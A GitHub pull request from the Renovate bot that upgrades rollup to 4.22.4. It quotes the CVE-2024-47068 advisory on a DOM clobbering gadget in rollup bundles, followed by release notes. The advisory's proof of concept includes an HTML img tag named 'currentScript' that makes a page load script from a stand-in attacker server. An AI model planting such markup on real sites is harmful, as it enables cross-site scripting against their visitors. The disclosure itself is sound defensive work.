Skip to content

Comments

chore(deps): update dependency rollup to v4.22.4 [security]#33

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability
Open

chore(deps): update dependency rollup to v4.22.4 [security]#33
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Sep 23, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.12.0 → 4.22.4 age confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v4.22.4

Compare Source

2024-09-21

Bug Fixes
  • Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#​5671)
Pull Requests

v4.22.3

Compare Source

2024-09-21

Bug Fixes
  • Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#​5669)
Pull Requests

v4.22.2

Compare Source

2024-09-20

Bug Fixes
  • Revert fix for side effect free modules until other issues are investigated (#​5667)
Pull Requests

v4.22.1

Compare Source

2024-09-20

Bug Fixes
  • Revert #​5644 "stable chunk hashes" while issues are being investigated
Pull Requests

v4.22.0

Compare Source

2024-09-19

Features
  • Add additional known global values to avoid access side effects (#​5651)
Bug Fixes
  • Ensure deterministic chunk hash generation despite async renderChunk hook (#​5644)
  • Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#​5658)
Pull Requests

v4.21.3

Compare Source

2024-09-12

Bug Fixes
  • Always respect side effects in left-hand side of optional chain (#​5642)
  • Update stack trace for augmented errors to not hide relevant information (#​5640)
Pull Requests

v4.21.2

Compare Source

2024-08-30

Bug Fixes
  • Handle IIFE/UMD namespace definitions conflicting with a builtin property (#​5605)
Pull Requests

v4.21.1

Compare Source

2024-08-26

Bug Fixes
  • Ensure closeWatcher hook is called when watch mode is aborted via Ctrl+C (#​5618)
  • Do not produce invalid code for import.meta.url in compact mode (#​5624)
  • Do not throw when generating chunk names when preserving modules in Windows (#​5625)
Pull Requests

v4.21.0

Compare Source

2024-08-18

Features
  • Add option to configure directory for virtual modules when preserving modules (#​5602)
Pull Requests

v4.20.0

Compare Source

2024-08-03

Features
  • Allow plugins to specify the original file name when emitting assets (#​5596)
Pull Requests

v4.19.2

Compare Source

2024-08-01

Bug Fixes
  • Avoid "cannot get value of null" error when using optional chaining with namespaces (#​5597)
Pull Requests

v4.19.1

Compare Source

2024-07-27

Bug Fixes
  • Do not remove parantheses when tree-shaking logical expressions (#​5584)
  • Do not ignore side effects in calls left of an optional chaining operator (#​5589)
Pull Requests

v4.19.0

Compare Source

2024-07-20

Features
  • Implement support for decorators (#​5562)
Bug Fixes
  • Improve soucemap generation when tree-shaking logical expressions (#​5581)
Pull Requests

v4.18.1

Compare Source

2024-07-08

Bug Fixes
  • Prevent "%" in generated file names to ensure imports resolve (#​5535)
Pull Requests

v4.18.0

Compare Source

2024-05-22

Features
  • Resolve import.meta.filename and .dirname in transpiled plugins (#​5520)
Pull Requests

v4.17.2

Compare Source

2024-04-30

Bug Fixes
  • Fix tree-shaking problems when using spread arguments (#​5503)
Pull Requests

v4.17.1

Compare Source

2024-04-29

Bug Fixes
  • Prevent infinite recursions for certain constructor invocations (#​5500)
Pull Requests

v4.17.0

Compare Source

2024-04-27

Features
  • Track function call arguments to optimize functions only called once or with the same literal values (re-release from 4.16.0) (#​5483)
Bug Fixes
  • Reduce browser WASM size to a fraction by changing optimization settings (#​5494)
Pull Requests

v4.16.4

Compare Source

2024-04-23

Bug Fixes
  • Revert function parameter tracking logic introduced in 4.16.0 to work on some remaining issues (#​5487)
Pull Requests

v4.16.3

Compare Source

2024-04-23

Bug Fixes
  • Do not optimize IIFEs that have a name and are again referenced inside their definition (#​5486)
Pull Requests

v4.16.2

Compare Source

2024-04-22

Bug Fixes
  • Resolve a situation condition where reassignments of function parameters were not tracked properly (#​5482)
  • Make sure that for armv7 packages, only one package is downloaded for the user (musl or gnu) (#​5479)
Pull Requests

v4.16.1

Compare Source

2024-04-21

Bug Fixes
  • Fix crash when rendering logical or conditional expressions (#​5481)
Pull Requests

v4.16.0

Compare Source

2024-04-21

Features
  • Track function call arguments to optimize functions only called once or with the same literal values (#​5443)
Pull Requests

v4.15.0

Compare Source

2024-04-20

Features
  • Add output.importAttributesKey option to select whether to use "with" or "assert" for import attributes (#​5474)
Pull Requests

v4.14.3

Compare Source

2024-04-15

Bug Fixes
  • Support Alpine Linux and other MUSL builds on ARM (#​5471)
Pull Requests

v4.14.2

Compare Source

2024-04-12

Bug Fixes
  • Do not create invalid code when reexporting both a namespace and the default export from that namespace (#​5466)
  • Ensure ppc64 platform is properly detected (#​5460)
Pull Requests

v4.14.1

Compare Source

2024-04-07

Bug Fixes
  • Show better error when running on musl Linux where the musl build is not supported (#​5454)
Pull Requests

v4.14.0

Compare Source

2024-04-03

Features
  • Display error causes in Rollup CLI (#​5422)
  • Add basic support for explicit resource management via "using" and "await using" (#​5423)
Pull Requests

v4.13.2

Compare Source

2024-03-28

Bug Fixes
  • Ensure accessing module info is cached after the build phase for improved performance (#​5438)
  • Support powerpc64le CPUs (#​5350)
Pull Requests

v4.13.1

Compare Source

2024-03-27

Bug Fixes
  • Add new linux-s390x-gnu native binary package (#​5346)
Pull Requests

v4.13.0

Compare Source

2024-03-12

Features
  • Ensure that the location of parse errors and other logs is encoded in the error message as well (#​5424)
Pull Requests

v4.12.1

Compare Source

2024-03-06

Bug Fixes
  • Escape special characters in file references (#​5404)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f5e5bfc to f66c1af Compare January 23, 2025 18:36
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f66c1af to 9a31747 Compare January 30, 2025 19:29
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 9a31747 to 54b14dc Compare February 9, 2025 13:58
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 54b14dc to 83b4101 Compare March 3, 2025 16:24
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 582bec1 to cb47afe Compare March 17, 2025 18:26
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from cb47afe to f678502 Compare April 1, 2025 11:44
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f678502 to f48350f Compare April 8, 2025 13:54
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f48350f to b2b7f37 Compare May 19, 2025 21:04
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b2b7f37 to 0322786 Compare May 28, 2025 09:09
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0322786 to b20b438 Compare June 6, 2025 03:20
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b20b438 to 900582d Compare June 22, 2025 14:53
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 900582d to e9b57c5 Compare July 2, 2025 18:29
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 2622db9 to 82b1bf7 Compare August 10, 2025 12:55
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 2a53441 to bc939ea Compare August 19, 2025 12:46
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from bc939ea to dc68373 Compare August 31, 2025 11:11
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from dc68373 to 9b1733b Compare September 25, 2025 21:28
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 9b1733b to a6fe0dd Compare November 11, 2025 01:28
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a6fe0dd to b6b83a0 Compare December 3, 2025 19:57
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b6b83a0 to 0dd80b2 Compare December 31, 2025 17:00
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0dd80b2 to 74b3089 Compare January 8, 2026 17:00
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from b454f48 to c583648 Compare January 23, 2026 17:26
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from c583648 to d5ee894 Compare February 2, 2026 20:33
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d5ee894 to 192007c Compare February 12, 2026 18:08
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 192007c to 1239500 Compare February 17, 2026 17:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants